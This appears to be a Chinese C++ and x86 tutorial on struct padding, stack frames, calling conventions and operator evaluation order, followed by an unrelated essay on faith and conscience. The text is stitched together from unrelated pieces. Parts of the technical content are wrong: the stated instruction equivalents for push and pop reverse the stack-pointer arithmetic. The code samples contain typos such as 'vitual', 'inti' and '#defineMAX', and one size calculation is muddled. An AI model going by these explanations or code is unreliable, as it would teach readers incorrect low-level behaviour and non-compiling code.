C++繼承了C語言關於結構體佈局的規定,所以以上的佈局準則也適用於C++的class的成員變量。C++進一步擴展了佈局規定,同一訪問區段(private、public、protected)中的變量,編譯器無權重新排列,不過編譯器有權排列訪問區段的前後順序。基於這個規則,C++中有的程序員建議給每一個成員變量放在單獨區段,在每一個成員聲明之前都加上private:、public:、protected:標誌,這可以最大限度的利用編譯器的決策優勢。
在棧中按順序分配的變量,其邊界也受到對齊要求的限制。與在結構中不同的是,棧中的變量還必須保證其後續變量無論是何種類型都可以自由對齊,所以在棧中的變量通常都有平臺相關的對齊最小值。在MSVC編譯器上,這個最小值可以由宏_INTSIZEOF(T)查詢:
#define _INTSIZEOF(T) ( (sizeof(T) + sizeof(int) - 1) & ~(sizeof(int) - 1) )
_INTSIZEOF(T)會將sizeof(T)進位到sizeof(int)的整數倍。
由於在棧中分配變量使用_INTSIZEOF而不是sizeof,在棧上連續分配多個小變量(sizeof小於int的變量)會造成內存浪費,不如使用結構(struct)或數組。也就是說:
char c1,c2,c3,c4;//使用16字節
char c[4];//使用4字節
當然,使用數組的方法在訪問數組變量(比如c[1])時有一次額外的指針運算和提領(dereference)操作,這會有執行效率的損失。這又是一種空間(內存佔用)vs時間(執行效率)的折中,需要程序員自己根據情況權衡利弊。
sizeof的大小可能比我們預期的大,也可能比我們預期的小。對於空類:
class Empty {};
在通常情況下,sizeof(Empty)至少爲1。這是因爲C++語法規定,對於任何實體類型的兩個變量,都必須具有不同的地址。爲了符合語法要求,編譯器會給Empty加入1字節的填充。所以sizeof()的值不可能出現0的情況。可是對於以下的類聲明:
class A:public Empty{vitual ~A(){}};
sizeof(A)有可能是6,也有可能是5,也有可能是4!必不可少的四個字節是一個指向虛函數表的指針。一個可能有的字節是Empty的大小,這是是因爲編譯器在特定情況下會將Empty視作一個“空基類”,從而實施“空基類優化”,省掉那毫無作用的一字節填充。另一個字節是A的一字節填充,因爲從語法上講,A沒有成員聲明,理應有1字節填充,而從語義上講,編譯器給A的聲明加入了一個指向虛函數表的指針,從而A就不再是一個“空類”,是否實施這個優化,要看編譯器作者對語法措詞的理解。也就是說,sizeof也會出現4+1+1=4的情況。具體要看編譯器有沒有實施“空基類優化”和“含虛函數表的空類優化”。
結構和類的空間中可能有填充的字節,這意味着填充字節中可能有數值,雖然這數值並不影響結構的邏輯狀態,但是它也可能不知不覺中影響到你。比如說,你手頭正好有一組依賴於底層硬件(比如多處理器)的函數,他們在操縱連續字節時比手動編碼要快很多,而你想充分利用這種硬件優勢:
bool BitCompare(void* begin,void* end,void* another);
這個函數將區間[begin,end)之間的字節與another開始的字節相比較,如果有一位不同就返回false,否則返回true。
比如你想將這個函數用於你自己的類的operator==中,這樣可以利用硬件加快速度。不過你在動手前要充分考慮,你的class是否真的要比較每一位。如果在類的成員中存在編譯器填充的字節數,那麼應用以上的函數就是不正確的,因爲填充的字節中可以有不同的值。爲了保證你可以用Bitwise Compare,你必須確保填充的字節中的值也是相同的。這不僅要求你在類的構造函數中初始化類的每一bit而不是每一個成員,也要求你在複製初始化和複製賦值函數中也同時保證bitwise copy語義,而不是編譯器默認產生的memberwise語義。當然,你可能通過與BitCompare一同提供的BitCopy來完成這個艱鉅的任務。
當調用一個函數時,主調函數將參數以聲明中相反的順序壓棧,然後將當前的代碼執行指針(eip)壓棧,然後跳轉到被調函數的入口點。在被調函數中,通過將ebp加上一個偏移量來訪問函數參數,以聲明中的順序(即壓棧的相反順序)來確定參數偏移量。被調函數返回時,彈出主調函數壓在棧中的代碼執行指針,跳回主調函數。再由主調函數恢復到調用前的棧。
函數的返回值不同於函數參數,通過寄存器傳遞。如果返回值類型可以放入32位變量,比如int、short、char、指針等類型,通過eax寄存器傳遞。如果返回值類型是64位變量,如_int64,同過edx+eax傳遞,edx存儲高32位,eax存儲低32位。如果返回值是浮點類型,如float和double,通過專用的浮點數寄存器棧的棧頂返回。如果返回值類型是用戶自定義結構,或C++類類型,通過修改函數簽名,以引用型參數的形式傳回。
同樣以最簡單的函數爲例:
void f(){
int i=g(1,2);
}
int g(int a,int b){
int c=a+b;
return c;
}
產生的彙編代碼如下:
f:
push ebp ;備份ebp
mov ebp,esp ;建立棧底
sub esp,4 ;爲i分配空間
mov eax,2 ;準備參數b的值2
push eax ;將b壓棧
mov eax,1 ;準備參數a的值1
push eax ;將a壓棧
call g ;調用g
add esp,8 ;將a和b一起彈出,恢復調用前的棧
mov dword ptr[ebp-4],eax ;將返回值保存進變量i
mov esp,ebp ;恢復棧頂
pop ebp ;恢復棧底
g:
push ebp ;備份ebp
mov ebp,esp ;建立棧底
sub esp,4 ;爲局部變量c在棧中分配內存
mov eax,dword ptr[ebp+8] ;通過ebp間接讀取參數a的值
mov ebx,dword ptr[ebp+12] ;通過ebp間接讀取參數b的值
add eax,ebx ;將a和b的值相加,之和存在eax中
mov dword ptr[ebp-4],eax ;將和存入變量c
mov eax,dword ptr[ebp-4] ;將c作爲返回值,代碼優化後會刪除此句
add esp,4 ;銷燬c的內存
mov esp,ebp ;恢復棧頂
pop ebp ;恢復棧底
ret ;返回函數f
棧的內存佈局如下:
100076:c <- g的esp
100080:f的ebp=100100 <- g的ebp
100084:f的eip
100088:a=1
100092:b=2
100096:i
100100:舊ebp <-f的ebp
100104:……
注意在函數g的彙編代碼中,訪問函數的局部變量和訪問函數參數的區別。局部變量總是通過將ebp減去偏移量來訪問,函數參數總是通過將ebp加上偏移量來訪問。對於32位變量而言,第一個局部變量位於ebp-4,第二個位於ebp-8,以此類推,32位局部變量在棧中形成一個逆序數組;第一個函數參數位於ebp+8,第二個位於ebp+12,以此類推,32位函數參數在棧中形成一個正序數組。
由於函數返回值通過寄存器返回,不需要空間分配等操作,所以返回值的代價很低。基於這個原因,舊的C語法約定,不寫明返回值類型的函數,返回值類型爲int。這一規則與現行的C++語法相違背,因爲C++中,不寫明返回值類型的函數返回值類型爲void,表示不返回值。這種語法不兼容性是爲了加強C++的類型安全,但同時也帶來了一些問題。
函數使用棧來保存局部變量,傳遞函數參數。進入函數時,函數在棧上爲函數中的變量統一預留棧空間,將esp減去相應字節數。當函數執行流程途徑變量聲明語句時,如有需要就調用相應構造函數將變量初始化。當執行流程即將離開聲明所在代碼塊時,以初始化的順序的相反順序逐一調用析構函數。當執行流程離開函數體時,將esp加上相應字節數,歸還棧空間。
爲了訪問函數變量,必須有方法定位每一個變量。變量相對於棧頂esp的位置在進入函數體時就已確定,但是由於esp會在函數執行期變動,所以將esp的值保存在ebp中,並事先將ebp的值壓棧。隨後,在函數體中通過ebp減去偏移量來訪問變量。以一個最簡單的函數爲例:
void f()
{
int a=0; //a的地址被分配爲ebp-4
char c=1; //c的地址被分配爲ebp-8
}
產生的彙編代碼爲:
push ebp ;將ebp壓棧
mov ebp,esp ;ebp=esp 用棧底備份棧頂指針
sub esp,8 ;esp-=8,爲a和c預留空間,包括邊界對齊
mov dword ptr[ebp-4],0 ;a=0
mov byte ptr[ebp-8],1 ;c=1
add esp,8 ;esp+=8,歸還a和c的空間
mov esp,ebp ;esp=ebp 從棧底恢復棧頂指針
pop ebp ;恢復ebp
ret ;返回
相應的內存佈局是這樣:
09992:c=1 <-esp
09996:a=0
10000:舊ebp <-ebp
10004:……
注:彙編中的pop、push、call、ret語句是棧操作指令,其功能可以用普通指令替換
push ebp相當於:
add esp,4
mov dword ptr[esp],ebp
pop ebp相當於:
mov ebp,dword ptr[esp]
sub esp,4
call fun_address相當於:
push eip
jmp fun_address
ret相當於
add esp,4
jmp dword ptr[esp-4]
帶參數的ret
ret 8相當於
add esp,12
jmp dword ptr[esp-4]
所有局部變量都在棧中由函數統一分配,形成了類似逆序數組的結構,可以通過指針逐一訪問。這一特點具有很多有趣性質,比如,考慮如下函數,找出其中的錯誤及其造成的結果:
void f()
{
int i,a[10];
for(i=0;i<=10;++i)a[i]=0;/An error occurs here!
}
這個函數中包含的錯誤,即使是C++新手也很容易發現,這是老生常談的越界訪問問題。但是這個錯誤造成的結果,是很多人沒有想到的。這次的越界訪問,並不會像很多新手預料的那樣造成一個“非法操作”消息,也不會像很多老手估計的那樣會默不作聲,而是導致一個,呃,死循環!
錯誤的本質顯而易見,我們訪問了a[10],但是a[10]並不存在。C++標準對於越界訪問只是說“未定義操作”。我們知道,a[10]是數組a所在位置之後的一個位置,但問題是,是誰在這個位置上。是i!
根據前面的討論,i在數組a之前被聲明,所以在a之前分配在棧上。但是,I386上棧是向下增長的,所以,a的地址低於i的地址。其結果是在循環的最後,a[i]引用到了i自己!接下來的事情就不難預見了,a[i],也就是i,被重置爲0,然後繼續循環的條件仍然成立……這個循環會一直繼續下去,直到在你的帳單上產生高額電費,直到耗光地球電能,直到太陽停止燃燒……呵呵,或者直到聰明的你把程序Kill了……
所謂X86體系結構,是指以Intel 8086芯片爲首的芯片所沿襲的CPU結構,一些文檔中又被稱作IA32體系結構。包括的芯片有但不限於:Intel 8086至 80486,奔騰(Pentium)系列處理器1至4,賽揚系列處理器,酷睿系列處理器,以及AMD的相應型號產品。X86體系結構在早期屬於16位處理器,自80386之後擴展爲32位處理器,所以一些文檔中又把80386之後的32位處理器體系稱作I386。自Pentium4後期,AMD的Athlon64開始,I386被進一步擴充爲64位處理器,含有64位尋址能力的X86體系結構被稱作X86-64或IA32-64。總之,市售的個人電腦用CPU,除蘋果的Macintosh之外,全部採用X86體系結構芯片。
在X86早期,16位的尋址能力只支持64KB(2^16=64K)內存,這顯然是不夠的。Intel採用分段尋址的方法,用4位段位+16位偏移量,提供了總共1MB(2^20=1M)的尋址能力。所以在X86的16位編程中,有兩種指針類型:長指針(lp,long pointer)和短指針(sp,short pointer),長指針(20位)提供整個內存空間尋址能力,短指針(16位)僅支持同一段中的尋址。在“古代”DOS及Win3.x編程過程中,兩種類型的指針,以及總共1MB的內存大小,常常把程序員們折騰得焦頭爛額。
自I386之後,CPU纔開始提供32位的尋址能力。有了整整4GB(2^32=4G)的尋址空間,所有指針統一爲長指針(32位)。時至今日,我們仍可以看到微軟文檔中指針變量的lp前綴。由於內存管理的需要,分段機制被保留下來,但這一次不是因爲地址空間太小,而是因爲地址空間遠大於實際內存容量,從而採用了虛擬內存機制。
在從16位結構向32位結構轉變的過程中,由於向下兼容的歷史原因,曾一度長時間出現硬件32位(I386)、軟件16位(Win3.x)的情況。同樣也是爲了兼容16位軟件,Win9x操作系統(Win95、Win98、WinME)保留了16位代碼和32位代碼。混合代碼的設計使得Win9x及其混亂和不穩定。直到完全32位內核的操作系統WinNT(以及構建於其上的Win2000,WinXP,Win2003)的出現,X86平臺上內存佈局混亂的局面才得以改善。有了從16位至32位移植的經驗和準備,現今的從32位到64位的操作系統移植顯得平穩順利很多。WinXP和WinVista系統都同時發佈了32位版本和64位版本,並且其x86-64系統都實現了對32位軟件的無縫銜接支持。
很多人甚至不知道逗號(,)也是個C++運算符。與語法上要求出現的逗號(比如分隔函數參數的逗號)不同的是,出現在表達式中的逗號運算符在語義上表示多個表達式操作的連續執行,類似於分隔多語句的分號。比如:
for(inti=0,j=9;i<10;++i,--j)std::cout<<i<<”+”<<j<<”=9\n”;
在這句語句中,出現了兩個逗號,其中前者是語法上用來分隔聲明的變量的,並非逗號運算符,而後者則是一個逗號運算符。根據C++標準,逗號運算符的執行順序爲從左到右依次執行,返回最後一個子表達式的結果。由於只有最後一個表達式返回結果,所以對於一個語義正常的逗號表達式而言,前幾個子表達式必須具有副作用。同時,從語言的定義中也可以看出,逗號表達式對求值的順序有嚴格要求。
對求值順序有要求的,除了逗號表達式和條件表達式(參見1.1),在C++中還有邏輯運算符(&&和||)。邏輯運算相較於數學運算和位運算而言,有個顯著的不同點:邏輯運算在計算到一半時,就有可能已經得到結果,這樣繼續運算另一半就不是必需的。對於A&&B,如果A=false,那麼無論B爲何值,整個的結果都是false;同樣的A||B,如果A=true,那麼不考慮B,結果一定是true。
C++標準規定,如果邏輯運算到一半(算出A)時,就已經可以確定運算的結果,那麼就不運算剩下的另一半(B)。這種執行語義被稱作“短路”。在其它一些編程語言中,短路語義是可以選擇的:在Ada裏非短路的邏輯運算符爲and和or,短路的邏輯運算符爲and_then和or_else。但是在C++中,邏輯運算符的短路語義是語法上強制的,我們沒有非短路版本的運算符。如果確實需要非短路語義,我們總是可以通過增加一個bool中間變量加以解決。有時,短路對於保證正確執行是必須的,比如:
char*p=getString();
if(p&&*p)std::cout<<p;
這段代碼在得到了一個字符串後,在字符串不爲空時輸出它。在C++中判斷一個字符串不爲空需要兩個步驟:判斷指針是否爲0,以及指針不爲0時判斷指針指向的內容是否爲’’。就像條件表達式中討論到的(參見1.1),在p爲空時提領p是個極其危險的操作。邏輯運算符的短路語義則避免了這種危險。
以上對逗號運算符與邏輯運算符的討論,僅限於C++標準所定義的運算符語義。爲什麼這樣說呢?這是因爲在C++中,運算符的語義是可以由程序員自行定義的,這種機制叫做運算符重載(operator overload)。運算符重載可以將人們熟悉的運算符表達式轉換成函數調用,使編程靈活而直觀,是個方便的語言特性。不過有時運算符重載也會使人困擾,那就是當運算符重載遇到求值順序問題時。
C++中,並不是所有合法運算符都可以被合法地重載。條件運算符雖然對求值順序有要求,但它並不在可重載運算符之列,所以運算符重載機制對它沒有影響。問題在於,逗號運算符和邏輯運算符都可以被合法地重載:
class BadThing{/* Some Bad and Stupid Thing*/};
BadThing& operator,(BadThing&, BadThing&);//重載了逗號運算符
bool operator&&(BadThing&, BadThing&);//重載了&&
BadThing b1,b2;
if(b1&&b2)b1,b2;//被替換成如下形式:
if(operator&&(b1,b2))operator,(b1,b2);
可以看到,重載了運算符之後,對運算符的使用被替換爲相應的函數調用形式。因此,舊有的運算符的執行順序不再適用,取而代之的是函數參數的壓棧順序。
根據C++標準規定,任何參數必須在進入函數之前壓棧,所以在進入operator&&之前,b1、b2就會被求值,這裏不再有短路規則,任何依賴於短路語義的不知不覺間操作BadThing的代碼(可能通過模板)都會混亂。
短路語義只是一個方面,更重要的在於壓棧順序。鑑於執行效率和舊代碼兼容性等細節問題,C++標準在壓棧順序上給編譯器的開發者留有很大自主性。標準的說辭是,編譯器可能以任何它覺得方便的順序將參數壓棧,從左到右,從右到左,甚至從中間到兩邊,在這一點上我們不能安全地做任何假設。在上面的例子中,編譯器生成的代碼可能先計算b1再計算b2,也可能是相反的順序。再看看編譯器的實際情況,在我試過的所有基於X86體系結構的編譯器中,參數都是以逆向壓棧,即從右到左,有悖於大多數人的閱讀習慣和直覺(別說你是來自伊斯蘭的……)。
在C時代使用函數調用時,壓棧順序並不是什麼大問題,畢竟大多數人會在函數調用的邊界稍稍小心一些。但是到了C++中,事情變得有些複雜,因爲簡單如a+b的使用,就有可能被運算符重載機制替換爲函數調用。更何況有模板參與之後,我們寫代碼時不能確定對象的真實類型,也就無法預知一個運算符是否真的被重載過,唯一穩妥的方法是,假定任何有可能被重載的運算符的使用都是函數調用。
<p style="margin:0;">
回到上文的示例中,由於,和&&都被替換爲函數調用,程序的執行順序將成爲壓棧順序,在X86上很有可能是從右到左,與標準定義的運算符的順序正好相反。逗號運算符原本就含有“先…後…”的語義,這種顛倒的執行順序勢必造成程序和程序員的混亂。以我的經驗而言,含有operator,的類,完全沒有辦法和STL或者iostream相互協作,反而會導致巨量的錯誤報告(什麼叫巨量的錯誤報告有概念麼?如果沒有,那說明你還沒玩過範式編程(GP, Generic Programming)。去玩玩GP吧,看看你的編譯器對巨量的定義。在我手頭,針對3.5KB的代碼文件傾瀉出3.8MB的錯誤信息的編譯器不在少數……)。有鑑於此,我的結論是,除非你有充足的依據支持你這麼做(比如你的粗暴上司的鍵盤上只剩下逗號能用),並且你清楚的瞭解這麼做的後果的嚴重性(比如至少要看過此文),否則我奉勸你,永遠不要碰operator,、operator&&以及operator||!
條件運算符(?:)是C++中唯一的三目運算符(trinary operator),用於在表達式中作條件判斷,通常可以替換if語句,與Visual Basic中的iif函數、Excel中的if函數有同樣的作用。語法形式如下:
condition ? true_value : false_value
其中condition *條件是任何可以轉換爲bool類型的表達式,包括但不僅限於**bool*、int、指針。與if和while的條件部分稍顯不同的是,這裏不能定義變量,否則會導致語法錯誤。
另外,條件語句會切實地控制執行流程,而不僅僅是控制返回值。也就是說,兩個返回值表達式中永遠只有一個會被求值,在表達式的執行順序很重要時,這點尤爲值得注意。比如:
int *pi=getInt();
int i=pi?*pi:0;
這裏,只有當pi的值不爲0時,它纔會被提領(dereference)。這種語義保證了程序的正確性,因爲提領一個空指針將導致致命的運行期錯誤(通常是非法操作的警告)。同時,正因爲條件運算符控制運算流程的特點,使得它不能用類似iif的普通函數來模擬:
int iif(int con,int t,intf){if(c)return t;return f;}//試圖模擬?:
…//in some function
int *pi=getInt();
int i=iif(pi,*pi,0);//Error!
這段代碼會導致上文提到的致命運行期錯誤。C/C++標準規定,參數在被傳遞給函數之前求值,因此無論pi爲何值,都會被提領。又因爲函數傳回一個空指針的情況比較少見,所以這樣的錯誤在調試時很難被發現,一旦發生又勢必造成重大災難。這樣的代碼在實踐中應儘量避免。
有時,條件運算符控制流程的特點會不知不覺影響我們的代碼。在C時代,最大值MAX通常用宏實現:
#defineMAX(a,b) ((a)>(b)?(a):(b))
需要用額外的括號將宏參數和宏本體保護起來,以免運算符優先級擾亂邏輯,這是宏醜陋的特點之一,這裏暫且不提。矛盾在於,用具有副作用的表達式調用宏時,會出現問題:
int i=5,j=6;//…
int a=MAX(++i,++j);
代碼的作者原意顯然是想先將i,j分別遞增,再將其中較大的一個賦給a。執行這段代碼,當i=5,j=6時,a=8,知道爲什麼嗎?通過宏展開,賦值語句成這樣:
int a=(++i)>(++j)?(++i):(++j);//刪除了多餘括號
在判斷之前,i、j被分別自增一次,然後捨棄:之前的部分,j又被自增一次。執行之後,i=6,j=8。
MAX的更正確更安全的實現,是利用模板將類型參數化。STL標準算法中就有一個這樣的工具級模版函數std::max。
條件運算符是表達式而不是語句,這使得它可以出現在任何需要表達式的地方,這擴大了它的適用範圍。在那些語法上只能出現表達式而不能出現語句的地方(比如變量初始化),條件運算符有着不可替代的作用。
條件運算符優於if語句的另一個場合是“模板元編程”(TMP, Template MetaProgramming)。在TMP這個古怪奇異的編譯期運算編程技術中,一切舊有的技術和法則被全線擊破,我們所能仰仗的工具,只有模板特化(Specialization)、typedefs、函數聲明(無法調用它們)、以及編譯期常量運算。已經有人很深入地論證過,僅有以上這些,就已經形成了一個“圖靈完善”的計算機語言。我們可以用模板特化技術,來模擬條件分支,循環迭代等一系列複雜的語言結構。由於可以參與編譯期常量運算,條件運算符在TMP世界中很自然地扮演起重要角色。
比如,給與類型T的一個變量t,我們想聲明一個緩衝區存放t和一個int,緩衝區的大小不小於sizeof(T)也不小於sizeif(int),我們可以這樣寫:
char buffer[sizeof(T)>sizeof(int)? sizeof(T): sizeof(int)];
我們不能用一個if語句替換這個運算:
int i;
if(sizeof(T)>sizeof(int))i=sizeof(T);
else i=sizeof(int);
char buffer[i];//語法錯誤!
原因在於數組聲明中的下標必須是一個編譯期常量,而不是一個運行期的值,條件表達式的運算可以在編譯期進行,if語句就只能在執行期執行。
填補信仰、喚醒良知
我們聽盡了呼籲與號召,對於良知,我不必譴責喪失它的國人,不必盛讚良知的美好。我只想討論,喪失了良知的原因——空缺的信仰。
一、空缺信仰喪失良知
現代的國人缺少信仰,以至於喪失良知。曾幾何時,中華民族由良好的信仰凝聚而成。三皇五帝時,族民們以炎黃爲信仰;春秋戰國時,士大夫之族以周制禮樂爲信仰;漢代以後,百姓延習孔孟之說、老聃之道,以儒家學說爲信仰;自大唐起,以佛教爲首的現代宗教紛紛傳入中原,人民開始以它們作爲信仰。
直至鴉片戰爭、五四運動,西方文化入侵中華,國人開始拋棄國學,轉而去研究科學;文化大革命,十年文化浩劫,人們批判舊的信仰,卻沒有合適的新的信仰前來填補。從此,國人的信仰出現空缺,國人的良知也被一塊塊蠶食殆盡。
二、信仰、科學、迷信
在許多國人的心目中,信仰就等於迷信。從小到大的教育告訴我們,信奉宗教是愚昧而又無知的表現,科學與信仰是矛盾的。是麼?
我們無法保證社會上的每一個人都接受過良好的教育,我們無法確信最前沿的科學素養能在民衆中普及。在科普與教育力不從心的社會死角,在科學技術尚不能及的文化盲區,我們依舊需要信仰的規範與限制,我們的良知需要信仰!
信仰不等於迷信。信仰本身無所謂謎與不迷,迷信是持有信仰的人誤解了信仰,盲目遵從的結果。以爲燒過香就可以免遭禍患,以爲捐了錢就可以升入天堂,以爲引火自焚就可以功德圓滿,這便是迷信了。希特勒曾經的人類完善計劃,依照遺傳學的原理,將科學家與運動員強行結爲夫婦孕育生命,希望得到最優秀的人類種族,這便是對科學這種信仰的迷信!
由此可見,科學與信仰並不是矛盾的硬幣的兩面,從某種意義而言科學本身也是信仰的一種。雖然歷史上宗教往往作爲科學發展的阻礙,可信奉真理的信念一直是推動科學發展的動力。牛頓就曾說過,對自然規律的探詢是爲了更接近上帝。由此可見,信仰與真理,與良知毫無矛盾。
三、信仰喚醒良知
很少有人仔細思考過,良知的缺失是由信仰的缺失造成的。信仰是人思想的寄託與依靠,是人行動處世的準則。沒有了信仰的人,思想行爲就缺少了約束的標準,人就更容易因爲一時不成熟的衝動,背叛良知、鑄成錯誤。
泰國人以佛教爲信仰,泰國的寺廟每天都會有成千上萬人頂禮膜拜。寺廟有一個人盡皆知的不成文規定:不得穿鞋進入。於是在寺廟之外,遊客們可以看到千百雙各式的鞋子有序的擺放在門口。國人每每看到此景,總會詫異地問:沒有人會偷鞋麼?得到的答案極爲簡單:廟前偷鞋會遭報應。由於擁有信仰,泰國人作了壞事會受到良知的譴責,泰國商人售出假貨會徹夜難眠。二戰期間,無數猶太難民被天主教會收留藏匿從而僥倖逃生,這同樣是出於,天主教徒們被自己信奉的教義“衆生生來平等”,所喚醒的良知。
天下無賊的世界,不能僅靠科普說教來營造。如果脫離了信仰,縱使是教育也無法培養良知。我問過許多修化學的同學,學習化學的意義,結論竟是爲了考試。如果沒有對科學的信仰,我們可以牢記公式定理,卻質疑它們是真理;如果沒有對社會公德的信仰,我們可以熟背交通規則,卻正大光明地闖紅燈;如果沒有對醫療道德的信仰,醫生可以放任傷口發炎,從而留住病人繼續治療……
國人需要信仰的約束,需要填補信仰的空白,從而喚醒那深埋於每個國人內心深處的良知!